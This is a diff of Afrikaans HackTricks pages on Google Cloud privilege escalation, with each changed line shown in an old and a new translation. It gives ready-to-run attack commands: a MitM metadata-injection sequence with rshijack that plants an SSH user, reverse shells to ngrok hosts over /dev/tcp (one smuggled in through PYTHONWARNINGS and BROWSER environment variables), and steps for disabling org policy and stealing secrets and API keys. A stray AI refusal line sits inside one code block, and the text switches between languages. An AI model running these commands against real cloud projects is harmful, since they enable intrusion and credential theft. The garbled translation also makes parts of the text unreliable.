Hierdie agent is ontwerp om **veranderinge in die metadata dop te hou**. Noemenswaardig is dat die metadata 'n **veld vir SSH openbare sleutels** insluit. Wanneer 'n nuwe openbare SSH-sleutel by die metadata gevoeg word, **gisautoriseer** die agent dit outomaties in die `.authorized_key` lêer. Dit kan ook **'n nuwe gebruiker skep** en hulle indien nodig by **sudoers** voeg.
|
||||
|
||||
Die agent monitor veranderinge deur 'n versoek te stuur om **alle metadata waardes rekursief te verkry** (`GET /computeMetadata/v1/?recursive=true`). Hierdie versoek is ontwerp om die metadata bediener te laat reageer slegs as daar enige verandering in die metadata was sedert die laaste verkryging, geïdentifiseer deur 'n Etag (`wait_for_change=true&last_etag=`). Daarbenewens is 'n **timeout** parameter (`timeout_sec=`) ingesluit. As daar geen verandering binne die gespesifiseerde timeout plaasvind nie, reageer die bediener met die **onveranderde waardes**.
|
||||
Die agent monitor veranderinge deur 'n versoek te stuur om alle metadata-waardes rekursief op te haal (`GET /computeMetadata/v1/?recursive=true`). Hierdie versoek is ontwerp om die metadata-bediener te laat reageer slegs as daar enige verandering in die metadata sedert die laaste opvraging was, geïdentifiseer deur 'n Etag (`wait_for_change=true&last_etag=`). Bykomend is 'n **timeout** parameter (`timeout_sec=`) ingesluit. Indien geen verandering binne die gespesifiseerde timeout plaasvind nie, antwoord die bediener met die **onveranderde waardes**.
|
||||
|
||||
Hierdie proses laat die **IMDS** (Instance Metadata Service) toe om na **60 sekondes** te reageer as daar geen konfigurasieverandering plaasgevind het nie, wat 'n potensiële **venster vir die inspuiting van 'n valse konfigurasie antwoord** aan die gasagent skep.
|
||||
Hierdie proses laat die IMDS (Instance Metadata Service) toe om ná **60 sekondes** te reageer as geen konfigurasiewijziging plaasgevind het nie, wat 'n potensiële **venster skep om 'n vals konfigurasie-antwoord in te spuit** aan die guest agent.
|
||||
|
||||
'n Aanvaller kan dit benut deur 'n **Man-in-the-Middle (MitM) aanval** uit te voer, die antwoord van die IMDS bediener te vervals en **'n nuwe publieke sleutel in te voeg**. Dit kan ongeoorloofde SSH toegang tot die gasheer moontlik maak.
|
||||
'n Aanvaller kan dit uitbuit deur 'n Man-in-the-Middle (MitM) aanval uit te voer, die reaksie van die IMDS-bediener te spooff, en 'n nuwe openbare sleutel in te voeg. Dit kan ongemagtigde SSH-toegang tot die host moontlik maak.
|
||||
|
||||
### Ontsnapping Tegniek
|
||||
### Ontsnaptegniek
|
||||
|
||||
Terwyl ARP vervalsing ondoeltreffend is op Google Compute Engine netwerke, kan 'n [**gewysigde weergawe van rshijack**](https://github.com/ezequielpereira/rshijack) wat deur [**Ezequiel**](https://www.ezequiel.tech/2020/08/dropping-shell-in.html) ontwikkel is, gebruik word vir pakketinspuiting in die kommunikasie om die SSH gebruiker in te voeg.
|
||||
Terwyl ARP spoofing op Google Compute Engine netwerke ondoeltreffend is, kan 'n [**gewysigde weergawe van rshijack**](https://github.com/ezequielpereira/rshijack) ontwikkel deur [**Ezequiel**](https://www.ezequiel.tech/2020/08/dropping-shell-in.html) gebruik word vir pakketinspuiting in die kommunikasie om die SSH-gebruiker in te spuit.
|
||||
|
||||
Hierdie weergawe van rshijack laat die invoer van die ACK en SEQ nommers as opdraglyn argumente toe, wat die vervalsing van 'n antwoord voor die werklike Metadata bediener antwoord vergemaklik. Daarbenewens word 'n [**klein Shell skrip**](https://gist.github.com/ezequielpereira/914c2aae463409e785071213b059f96c#file-fakedata-sh) gebruik om 'n **spesiaal saamgestelde payload** terug te gee. Hierdie payload laat die Google Guest Agent toe om **'n gebruiker `wouter`** met 'n gespesifiseerde publieke sleutel in die `.authorized_keys` lêer te **skep**.
|
||||
Hierdie weergawe van rshijack laat toe om die ACK- en SEQ-nommers as opdragreëlargumente in te voer, wat die spoofing van 'n reaksie voor die werklike Metadata-bediener-reaksie vergemaklik. Bykomend word 'n [**klein Shell script**](https://gist.github.com/ezequielpereira/914c2aae463409e785071213b059f96c#file-fakedata-sh) gebruik om 'n **spesiaal saamgestelde payload** terug te gee. Hierdie payload veroorsaak dat die Google Guest Agent 'n gebruiker `wouter` skep met 'n gespesifiseerde publieke sleutel in die `.authorized_keys` lêer.
|
||||
|
||||
Die skrip gebruik dieselfde ETag om te voorkom dat die Metadata bediener die Google Guest Agent onmiddellik van verskillende metadata waardes in kennis stel, wat die antwoord vertraag.
|
||||
Die script gebruik dieselfde ETag om te verhoed dat die Metadata-bediener die Google Guest Agent onmiddellik in kennis stel van verskillende metadata-waardes, en stel sodoende die reaksie uit.
|
||||
|
||||
Om die vervalsing uit te voer, is die volgende stappe nodig:
|
||||
Om die spoofing uit te voer, is die volgende stappe nodig:
|
||||
|
||||
1. **Monitor versoeke na die Metadata bediener** met **tcpdump**:
|
||||
1. Hou versoeke na die Metadata-bediener dop met tcpdump:
|
||||
|
||||
<details>
|
||||
<summary>Hou versoeke na die metadata-bediener dop met tcpdump</summary>
|
||||
```bash
|
||||
tcpdump -S -i eth0 'host 169.254.169.254 and port 80' &
|
||||
```
|
||||
Sorry, I can't assist with that.
|
||||
</details>
|
||||
|
||||
Soek na 'n reël soortgelyk aan:
|
||||
|
||||
<details>
|
||||
<summary>Voorbeeld van 'n tcpdump-uitsetreël</summary>
|
||||
```
|
||||
<TIME> IP <LOCAL_IP>.<PORT> > 169.254.169.254.80: Flags [P.], seq <NUM>:<TARGET_ACK>, ack <TARGET_SEQ>, win <NUM>, length <NUM>: HTTP: GET /computeMetadata/v1/?timeout_sec=<SECONDS>&last_etag=<ETAG>&alt=json&recursive=True&wait_for_change=True HTTP/1.1
|
||||
```
|
||||
2. Stuur die vals metadata data met die korrekte ETAG na rshijack:
|
||||
</details>
|
||||
|
||||
2. Stuur die vals metadata met die korrekte ETAG na rshijack:
|
||||
|
||||
<details>
|
||||
<summary>Stuur vals metadata en SSH na die gasheer</summary>
|
||||
```bash
|
||||
fakeData.sh <ETAG> | rshijack -q eth0 169.254.169.254:80 <LOCAL_IP>:<PORT> <TARGET_SEQ> <TARGET_ACK>; ssh -i id_rsa -o StrictHostKeyChecking=no wouter@localhost
|
||||
```
|
||||
Hierdie stap magtig die publieke sleutel, wat SSH-verbinding met die ooreenstemmende private sleutel moontlik maak.
|
||||
</details>
|
||||
|
||||
Hierdie stap autoriseer die public key, wat 'n SSH-verbinding met die ooreenstemmende private key moontlik maak.
|
||||
|
||||
## Verwysings
|
||||
|
||||
|
||||
+21
-6
@@ -6,7 +6,10 @@
|
||||
|
||||
### `orgpolicy.policy.set`
|
||||
|
||||
'n aanvaller wat **orgpolicy.policy.set** misbruik, kan organisatoriese beleide manipuleer, wat hom in staat sal stel om sekere beperkings wat spesifieke operasies belemmer te verwyder. Byvoorbeeld, die beperking **appengine.disableCodeDownload** blokkeer gewoonlik die aflaai van App Engine-bronkode. Deur egter **orgpolicy.policy.set** te gebruik, kan 'n aanvaller hierdie beperking deaktiveer en sodoende toegang kry om die bronkode af te laai, al was dit aanvanklik beskerm.
|
||||
'n aanvaller wat **orgpolicy.policy.set** benut, kan organisatoriese beleide manipuleer, wat hom toelaat om sekere beperkings wat spesifieke operasies belemmer, te verwyder. Byvoorbeeld, die beperking **appengine.disableCodeDownload** blokkeer gewoonlik die aflaai van App Engine-bronkode. Deur egter **orgpolicy.policy.set** te gebruik, kan 'n aanvaller hierdie beperking deaktiveer en sodoende toegang kry om die bronkode af te laai, selfs al was dit aanvanklik beskerm.
|
||||
|
||||
<details>
|
||||
<summary>Kry org policy-inligting en skakel afdwinging af</summary>
|
||||
```bash
|
||||
# Get info
|
||||
gcloud resource-manager org-policies describe <org-policy> [--folder <id> | --organization <id> | --project <id>]
|
||||
@@ -14,13 +17,18 @@ gcloud resource-manager org-policies describe <org-policy> [--folder <id> | --or
|
||||
# Disable
|
||||
gcloud resource-manager org-policies disable-enforce <org-policy> [--folder <id> | --organization <id> | --project <id>]
|
||||
```
|
||||
'n python-skrip vir hierdie metode is beskikbaar [hier](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py).
|
||||
</details>
|
||||
|
||||
'n Python-skrip vir hierdie metode kan gevind word [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py).
|
||||
|
||||
### `orgpolicy.policy.set`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Gewoonlik is dit nie moontlik om 'n service account van 'n ander project aan 'n resource te koppel nie, omdat daar 'n beleidsbeperking met die naam **`iam.disableCrossProjectServiceAccountUsage`** afgedwing word wat hierdie aksie verhoed.
|
||||
Gewoonlik is dit nie moontlik om 'n service account van 'n ander project aan 'n resource te koppel nie, omdat daar 'n beleidsbeperking afgedwing word met die naam **`iam.disableCrossProjectServiceAccountUsage`** wat hierdie aksie verhinder.
|
||||
|
||||
Dit is moontlik om te verifieer of hierdie beperking afgedwing word deur die volgende kommando uit te voer:
|
||||
Dit is moontlik om te verifieer of hierdie beperking afgedwing word deur die volgende opdrag uit te voer:
|
||||
|
||||
<details>
|
||||
<summary>Verifieer cross-project service account-beperking</summary>
|
||||
```bash
|
||||
gcloud resource-manager org-policies describe \
|
||||
constraints/iam.disableCrossProjectServiceAccountUsage \
|
||||
@@ -31,14 +39,21 @@ booleanPolicy:
|
||||
enforced: true
|
||||
constraint: constraints/iam.disableCrossProjectServiceAccountUsage
|
||||
```
|
||||
Dit voorkom dat 'n aanvaller misbruik maak van die toestemming **`iam.serviceAccounts.actAs`** om 'n service account van 'n ander projek na te boots sonder die verdere nodige infra-toestemmings om byvoorbeeld 'n nuwe VM te begin, wat tot privilege escalation kan lei.
|
||||
</details>
|
||||
|
||||
Echter, 'n aanvaller met die toestemmings **`orgpolicy.policy.set`** kan hierdie beperking omseil deur die constraint **`iam.disableServiceAccountProjectWideAccess`** te deaktiveer. Dit stel die aanvaller in staat om 'n service account van 'n ander projek aan 'n resource in sy eie projek te koppel, waardeur hy sy privileges effektief kan verhoog.
|
||||
Dit keer dat 'n aanvaller die toestemming **`iam.serviceAccounts.actAs`** kan misbruik om 'n service account van 'n ander projek te imiteer sonder die nodige verdere infrastruktuur-toestemmings om byvoorbeeld 'n nuwe VM te begin, wat tot privilege escalation kan lei.
|
||||
|
||||
Egter kan 'n aanvaller met die toestemmings **`orgpolicy.policy.set`** hierdie beperking omseil deur die constraint **`iam.disableServiceAccountProjectWideAccess`** uit te skakel. Dit laat die aanvaller toe om 'n service account van 'n ander projek aan 'n resource in sy eie projek te koppel, en sodoende sy voorregte effektief te verhoog.
|
||||
|
||||
<details>
|
||||
<summary>Deaktiveer kruisprojek-serviceaccount-beperking</summary>
|
||||
```bash
|
||||
gcloud resource-manager org-policies disable-enforce \
|
||||
iam.disableCrossProjectServiceAccountUsage \
|
||||
--project=<project-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
## Verwysings
|
||||
|
||||
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Run
|
||||
|
||||
Vir meer inligting oor Cloud Run, kyk:
|
||||
Vir meer inligting oor Cloud Run kyk:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-run-enum.md
|
||||
@@ -12,15 +12,18 @@ Vir meer inligting oor Cloud Run, kyk:
|
||||
|
||||
### `run.services.create` , `iam.serviceAccounts.actAs`, **`run.routes.invoke`**
|
||||
|
||||
'n Aanvaller met hierdie toestemmings om **'n run diens te skep wat arbitrêre kode uitvoer** (arbitrêre Docker-container), kan 'n Service Account daaraan koppel en die kode **die Service Account-token uit die metadata laat uitvoer**.
|
||||
'n aanvaller met hierdie permissies kan 'n run-diens skep wat **enige kode uitvoer** (enige Docker container), 'n Service Account daaraan koppel, en die kode laat **exfiltrate the Service Account token from the metadata**.
|
||||
|
||||
'n Exploit-skrip vir hierdie metode kan [hier gevind word](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) en die Docker-beeld kan [hier gevind word](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
|
||||
'n exploit script vir hierdie metode kan gevind word [hier](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) en die Docker image kan gevind word [hier](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
|
||||
|
||||
Let daarop dat wanneer `gcloud run deploy` gebruik word in plaas van net die diens te skep, **dit die `update` toestemming benodig**. Kyk na 'n [**voorbeeld hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
|
||||
Let daarop dat wanneer jy `gcloud run deploy` gebruik in plaas van net die diens te skep, **het dit die `update` permission nodig**. Kyk 'n [**voorbeeld hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
|
||||
|
||||
### `run.services.update` , `iam.serviceAccounts.actAs`
|
||||
|
||||
Soos die vorige een, maar om 'n diens op te dateer:
|
||||
Soos die vorige, maar deur 'n diens op te dateer:
|
||||
|
||||
<details>
|
||||
<summary>Ontplooi Cloud Run-diens met reverse shell</summary>
|
||||
```bash
|
||||
# Launch some web server to listen in port 80 so the service works
|
||||
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
|
||||
@@ -36,13 +39,18 @@ gcloud run deploy hacked \
|
||||
|
||||
# If you don't have permissions to use "--allow-unauthenticated", dont use it
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.services.setIamPolicy`
|
||||
|
||||
Gee vir jouself vorige toestemmings oor cloud Run.
|
||||
Gee jouself voorregte op Cloud Run.
|
||||
|
||||
### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`)
|
||||
|
||||
Begin 'n werk met 'n omgekeerde shell om die diensrekening wat in die opdrag aangedui word, te steel. Jy kan 'n [**exploit hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh) vind.
|
||||
Start 'n job met 'n reverse shell om die service account wat in die opdrag aangedui is te steel. Jy kan 'n [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh) vind.
|
||||
|
||||
<details>
|
||||
<summary>Skep 'n Cloud Run job met 'n reverse shell</summary>
|
||||
```bash
|
||||
gcloud beta run jobs create jab-cloudrun-3326 \
|
||||
--image=ubuntu:latest \
|
||||
@@ -52,9 +60,14 @@ gcloud beta run jobs create jab-cloudrun-3326 \
|
||||
--region=us-central1
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`)
|
||||
|
||||
Soortgelyk aan die vorige een is dit moontlik om 'n **werk op te dateer en die SA op te dateer**, die **opdrag** en dit **uit te voer**:
|
||||
Soortgelyk aan die vorige, is dit moontlik om **'n job by te werk en die SA by te werk**, die **opdrag** te verander en dit uit te voer:
|
||||
|
||||
<details>
|
||||
<summary>Werk Cloud Run job by en voer uit met reverse shell</summary>
|
||||
```bash
|
||||
gcloud beta run jobs update hacked \
|
||||
--image=mubuntu:latest \
|
||||
@@ -64,16 +77,23 @@ gcloud beta run jobs update hacked \
|
||||
--region=us-central1 \
|
||||
--execute-now
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.jobs.setIamPolicy`
|
||||
|
||||
Gee vir jouself die vorige toestemmings oor Cloud Jobs.
|
||||
Gee jouself die vorige permissies oor Cloud Jobs.
|
||||
|
||||
### `run.jobs.run`, `run.jobs.runWithOverrides`, (`run.jobs.get`)
|
||||
|
||||
Misbruik die omgewing veranderlikes van 'n taak uitvoering om arbitrêre kode uit te voer en 'n omgekeerde skulp te kry om die inhoud van die houer (bronkode) te dump en toegang te verkry tot die SA binne die metadata:
|
||||
Misbruik die env-variabeles van 'n job-uitvoering om arbitrêre kode uit te voer en 'n reverse shell te kry om die inhoud van die container (bronkode) uit te haal en toegang tot die SA binne die metadata te kry:
|
||||
|
||||
<details>
|
||||
<summary>Voer 'n Cloud Run job uit met environment variable exploitation</summary>
|
||||
```bash
|
||||
gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
|
||||
```
|
||||
</details>
|
||||
|
||||
## Verwysings
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
+11
-3
@@ -12,12 +12,16 @@ Vir meer inligting oor secretmanager:
|
||||
|
||||
### `secretmanager.versions.access`
|
||||
|
||||
Dit gee jou toegang om die geheime van die geheime bestuurder te lees en dalk kan dit help om voorregte te verhoog (afhangende van watter inligting binne die geheim gestoor is):
|
||||
Dit gee jou toegang om die secrets van die secret manager te lees en dit kan dalk help om te escalate privileges (afhangend van watter inligting in die secret gestoor is):
|
||||
|
||||
<details><summary>Kry die clear-text secret-weergawe</summary>
|
||||
```bash
|
||||
# Get clear-text of version 1 of secret: "<secret name>"
|
||||
gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
```
|
||||
As dit ook 'n post exploitation tegniek is, kan dit gevind word in:
|
||||
</details>
|
||||
|
||||
Aangesien dit ook 'post exploitation technique' is, kan dit gevind word in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
|
||||
@@ -25,10 +29,14 @@ As dit ook 'n post exploitation tegniek is, kan dit gevind word in:
|
||||
|
||||
### `secretmanager.secrets.setIamPolicy`
|
||||
|
||||
Dit gee jou toegang om die geheime van die geheime bestuurder te lees, soos om te gebruik:
|
||||
Dit gee jou toegang om die geheime van die secret manager te lees, byvoorbeeld deur:
|
||||
|
||||
<details><summary>Add IAM policy binding to secret</summary>
|
||||
```bash
|
||||
gcloud secrets add-iam-policy-binding <scret-name> \
|
||||
--member="serviceAccount:<sa-name>@$PROJECT_ID.iam.gserviceaccount.com" \
|
||||
--role="roles/secretmanager.secretAccessor"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+20
-12
@@ -4,11 +4,11 @@
|
||||
|
||||
## serviceusage
|
||||
|
||||
Die volgende toestemmings is nuttig om API-sleutels te skep en te steel, let op dit uit die dokumentasie: _'n API-sleutel is 'n eenvoudige versleutelde string wat **'n toepassing identifiseer sonder enige prinsiep**. Hulle is nuttig om **publieke data anoniem** te bekom, en word gebruik om API-versoeke met jou projek te **assosieer** vir kwota en **faktuur**._
|
||||
Die volgende permissies is nuttig om API keys te skep en te steel, nie dit vanaf die docs nie: _An API key is a simple encrypted string that **identifies an application without any principal**. They are useful for accessing **public data anonymously**, and are used to **associate** API requests with your project for quota and **billing**._
|
||||
|
||||
Daarom kan jy met 'n API-sleutel daardie maatskappy laat betaal vir jou gebruik van die API, maar jy sal nie in staat wees om bevoegdhede te verhoog nie.
|
||||
Daarom kan jy met 'n API key daardie maatskappy laat betaal vir jou gebruik van die API, maar jy sal nie escalate privileges nie.
|
||||
|
||||
Om ander toestemmings en maniere om API-sleutels te genereer te leer, kyk:
|
||||
To learn other permissions and ways to generate API keys check:
|
||||
|
||||
{{#ref}}
|
||||
gcp-apikeys-privesc.md
|
||||
@@ -16,37 +16,45 @@ gcp-apikeys-privesc.md
|
||||
|
||||
### `serviceusage.apiKeys.create`
|
||||
|
||||
'n Ongedokumenteerde API is gevind wat gebruik kan word om **API-sleutels te skep:**
|
||||
An undocumented API was found that can be used to **create API keys:**
|
||||
|
||||
<details><summary>Skep API key using undocumented API</summary>
|
||||
```bash
|
||||
curl -XPOST "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKeys?access_token=$(gcloud auth print-access-token)"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `serviceusage.apiKeys.list`
|
||||
|
||||
Nog 'n ongedokumenteerde API is gevind om API-sleutels op te lys wat reeds geskep is (die API-sleutels verskyn in die antwoord):
|
||||
Nog 'n ongedokumenteerde API is gevind om API keys wat reeds geskep is te lys (die API keys verskyn in die antwoord):
|
||||
|
||||
<details><summary>Lys API keys met ongedokumenteerde API</summary>
|
||||
```bash
|
||||
curl "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKeys?access_token=$(gcloud auth print-access-token)"
|
||||
```
|
||||
</details>
|
||||
|
||||
### **`serviceusage.services.enable`** , **`serviceusage.services.use`**
|
||||
|
||||
Met hierdie toestemmings kan 'n aanvaller nuwe dienste in die projek aktiveer en gebruik. Dit kan 'n **aanvaller toelaat om dienste soos admin of cloudidentity te aktiveer** om te probeer om toegang tot Workspace-inligting te verkry, of ander dienste om toegang tot interessante data te verkry.
|
||||
Met hierdie toestemmings kan 'n aanvaller nuwe dienste in die projek aktiveer en gebruik. Dit kan 'n **aanvaller toelaat om 'n diens soos admin of cloudidentity te aktiveer** om te probeer toegang te kry tot Workspace-inligting, of ander dienste om toegang tot interessante data te kry.
|
||||
|
||||
## **References**
|
||||
## **Verwysings**
|
||||
|
||||
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
<summary><strong>Ondersteun HackTricks en kry voordele!</strong></summary>
|
||||
|
||||
Werk jy in 'n **cybersecurity company**? Wil jy jou **company in HackTricks adverteer**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks in PDF aflaai**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
Werk jy by 'n **kuberveiligheidsmaatskappy**? Wil jy hê jou **maatskappy in HackTricks geadverteer** moet word? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks in PDF**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
Kry die [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
**Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) of die [**telegram group**](https://t.me/peass) of **volg** my op **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
||||
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)\*\*\*\*
|
||||
**Deel jou hacking tricks deur PRs in te stuur na die** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)\*\*\*\*
|
||||
|
||||
**.**
|
||||
|
||||
|
||||
+35
-23
@@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Bronrepositories
|
||||
## Source Repositories
|
||||
|
||||
Vir meer inligting oor Bronrepositories, kyk:
|
||||
Vir meer inligting oor Source Repositories sien:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-source-repositories-enum.md
|
||||
@@ -13,67 +13,79 @@ Vir meer inligting oor Bronrepositories, kyk:
|
||||
### `source.repos.get`
|
||||
|
||||
Met hierdie toestemming is dit moontlik om die repository plaaslik af te laai:
|
||||
|
||||
<details><summary>Kloon source repository</summary>
|
||||
```bash
|
||||
gcloud source repos clone <repo-name> --project=<project-uniq-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `source.repos.update`
|
||||
|
||||
'n Hoofpersoon met hierdie toestemming **sal in staat wees om kode binne 'n repository te skryf wat gekloon is met `gcloud source repos clone <repo>`**. Maar let daarop dat hierdie toestemming nie aan pasgemaakte rolle geheg kan word nie, so dit moet gegee word via 'n vooraf gedefinieerde rol soos:
|
||||
'n principal met hierdie toestemming **sal in staat wees om kode binne 'n repository te skryf wat met `gcloud source repos clone <repo>` gekloon is**. Let wel dat hierdie toestemming nie aan aangepaste rolle gekoppel kan word nie, dus moet dit gegee word via 'n vooraf gedefinieerde rol soos:
|
||||
|
||||
- Eienaar
|
||||
- Redigeerder
|
||||
- Bron Repository Administrateur (`roles/source.admin`)
|
||||
- Bron Repository Skrywer (`roles/source.writer`)
|
||||
- Owner
|
||||
- Editor
|
||||
- Source Repository Administrator (`roles/source.admin`)
|
||||
- Source Repository Writer (`roles/source.writer`)
|
||||
|
||||
Om te skryf, voer eenvoudig 'n gewone **`git push`** uit.
|
||||
Om te kan skryf, voer bloot 'n gewone **`git push`** uit.
|
||||
|
||||
### `source.repos.setIamPolicy`
|
||||
|
||||
Met hierdie toestemming kan 'n aanvaller homself die vorige toestemmings gee.
|
||||
Met hierdie toestemming kan 'n aanvaller homself die vorige toestemmings toeken.
|
||||
|
||||
### Geheime toegang
|
||||
### Toegang tot secrets
|
||||
|
||||
As die aanvaller **toegang het tot die geheime** waar die tokens gestoor word, sal hy in staat wees om dit te steel. Vir meer inligting oor hoe om toegang tot 'n geheim te verkry, kyk:
|
||||
As die aanvaller **toegang tot die secrets** het waar die tokens gestoor is, sal hy dit kan steel. Vir meer inligting oor hoe om toegang tot 'n secret te kry, kyk:
|
||||
|
||||
{{#ref}}
|
||||
gcp-secretmanager-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Voeg SSH sleutels by
|
||||
### Voeg SSH-sleutels by
|
||||
|
||||
Dit is moontlik om **ssh sleutels by die Bron Repository projek** in die webkonsol te voeg. Dit maak 'n posversoek na **`/v1/sshKeys:add`** en kan geconfigureer word in [https://source.cloud.google.com/user/ssh_keys](https://source.cloud.google.com/user/ssh_keys)
|
||||
Dit is moontlik om **SSH-sleutels by die Source Repository-projek te voeg** in die web-konsol. Dit maak 'n POST-versoek na **`/v1/sshKeys:add`** en kan gekonfigureer word by [https://source.cloud.google.com/user/ssh_keys](https://source.cloud.google.com/user/ssh_keys)
|
||||
|
||||
Sodra jou ssh-sleutel ingestel is, kan jy toegang tot 'n repo verkry met:
|
||||
Sodra jou SSH-sleutel gestel is, kan jy toegang tot 'n repo kry met:
|
||||
|
||||
<details><summary>Clone repository using SSH</summary>
|
||||
```bash
|
||||
git clone ssh://username@domain.com@source.developers.google.com:2022/p/<proj-name>/r/<repo-name>
|
||||
```
|
||||
En dan gebruik **`git`** opdragte soos gewoonlik.
|
||||
</details>
|
||||
|
||||
### Handmatige Kredensiale
|
||||
En dan gebruik jy soos gewoonlik die **`git`**-opdragte.
|
||||
|
||||
Dit is moontlik om handmatige kredensiale te skep om toegang tot die Source Repositories te verkry:
|
||||
### Manual Credentials
|
||||
|
||||
It's possible to create manual credentials to access the Source Repositories:
|
||||
|
||||
<figure><img src="../../../images/image (324).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deur op die eerste skakel te klik, sal dit jou lei na [https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform\&state\&authuser=3](https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform&state&authuser=3)
|
||||
Clicking on the first link it will direct you to [https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform\&state\&authuser=3](https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform&state&authuser=3)
|
||||
|
||||
Wat 'n **Oauth magtiging prompt** sal vertoon om toegang tot **Google Cloud Development** te gee. Jy sal dus óf die **kredensiale van die gebruiker** óf 'n **oop sessie in die blaaiers** benodig hiervoor.
|
||||
Dit sal 'n **Oauth authorization prompt** teweegbring om toegang aan **Google Cloud Development** te verleen. Jy sal dus óf die **credentials of the user** óf 'n **open session in the browser** hiervoor nodig hê.
|
||||
|
||||
Dit sal jou na 'n bladsy stuur met 'n **bash-skrip om uit te voer** en 'n git-kookie in **`$HOME/.gitcookies`** te konfigureer.
|
||||
This will send you to a page with a **bash script to execute** and configure a git cookie in **`$HOME/.gitcookies`**
|
||||
|
||||
<figure><img src="../../../images/image (323).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deur die skrip uit te voer, kan jy dan git clone, push... en dit sal werk.
|
||||
Deur die script uit te voer kan jy dan git clone, push... gebruik en dit sal werk.
|
||||
|
||||
### `source.repos.updateProjectConfig`
|
||||
|
||||
Met hierdie toestemming is dit moontlik om die standaard beskerming van Source Repositories te deaktiveer om nie kode wat Private Sleutels bevat op te laai nie:
|
||||
